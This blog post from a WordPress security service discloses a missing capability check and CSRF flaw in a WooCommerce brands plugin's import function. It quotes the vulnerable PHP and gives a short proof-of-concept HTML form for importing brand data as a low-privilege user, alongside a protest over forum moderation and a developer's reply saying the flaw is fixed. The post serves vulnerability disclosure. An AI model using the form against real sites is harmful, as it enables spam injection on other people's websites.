10 Jan 2022

WordPress Plugin Probed for by Hacker Contains Vulnerability That Allows Creation of Spam Posts

Last week we had what looked to be a hacker probing for usage of the WordPress plugin Perfect Brands for WooCommerce on our website through this request:

/wp-content/plugins/perfect-woocommerce-brands/readme.txt

There are not any publicly disclosed vulnerabilities in the plugin that we could find, which might explain a hackers interest in the plugin. There was a security fix made to the plugin in October 2020 that fix a vulnerability that would have allowed an attacker to create spam posts the through the plugin. In looking over the current version, we found that there is a similar issue that currently exists in the plugin, though the attacker would need to be logged in to WordPress to exploit it.

The plugin makes it import functionality available through WordPress AJAX system to those logged in to WordPress:

11
add_action( 'wp_ajax_pwb_brands_import', array( $this, 'import_brands' ) );

The function that handles that, import_brands() in the file /classes/admin/class-brands-exporter.php, doesn’t do any security checks before doing the importing:

60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
public function import_brands(){
 
  if( isset( $_FILES['file'] ) ){
	$file = $_FILES['file'];
 
	$file_content = json_decode( file_get_contents( $file['tmp_name'] ), true );
 
	if( is_array( $file_content ) ){
 
	  foreach( $file_content as $brand ){
 
		$new_brand = wp_insert_term( $brand['name'], 'pwb-brand', array(
		  'slug'        => $brand['slug'],
		  'description' => html_entity_decode( $brand['desc'] )
		));
 
		if( !is_wp_error( $new_brand ) ){
 
		  if( !empty( $brand['image'] ) )
			$this->upload_remote_image_and_attach( $brand['image'], $new_brand['term_id'], 'pwb_brand_image' );
		  if( !empty( $brand['banner'] ) )
			$this->upload_remote_image_and_attach( $brand['banner'], $new_brand['term_id'], 'pwb_brand_banner' );
		  if( !empty( $brand['banner_link'] ) )
			update_term_meta( $new_brand['term_id'], 'pwb_brand_banner_link', $brand['banner_link'], true );

So anyone logged in to WordPress can access that functionality. That allows them to create new brands associated with the plugin, which have their own posts on the website. Those pages contain the content of brand’s description, which can include links to other websites, so spam content could be added to the website.

This could also be exploited through cross-site request forgery (CSRF), due to a lack of a check for a valid nonce.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

  1. As an Administrator, create a brand.
  2. Do an export.
  3. Delete the brand.
  4. Log out of WordPress and log in again as a Subscriber.
  5. Import the export file using the following form.
  6. The brand will exist again.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=pwb_brands_import" enctype="multipart/form-data" method="POST">
<input type="file" name="file" />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

One thought on “WordPress Plugin Probed for by Hacker Contains Vulnerability That Allows Creation of Spam Posts

  1. Hello

    This is Francisco from QuadLayers developer team

    We’ve included a nonce and user role validation in all plugin ajax actions

    The security issue is fixed now

    Best regards

Leave a Reply to Francisco Cancel reply

Your email address will not be published.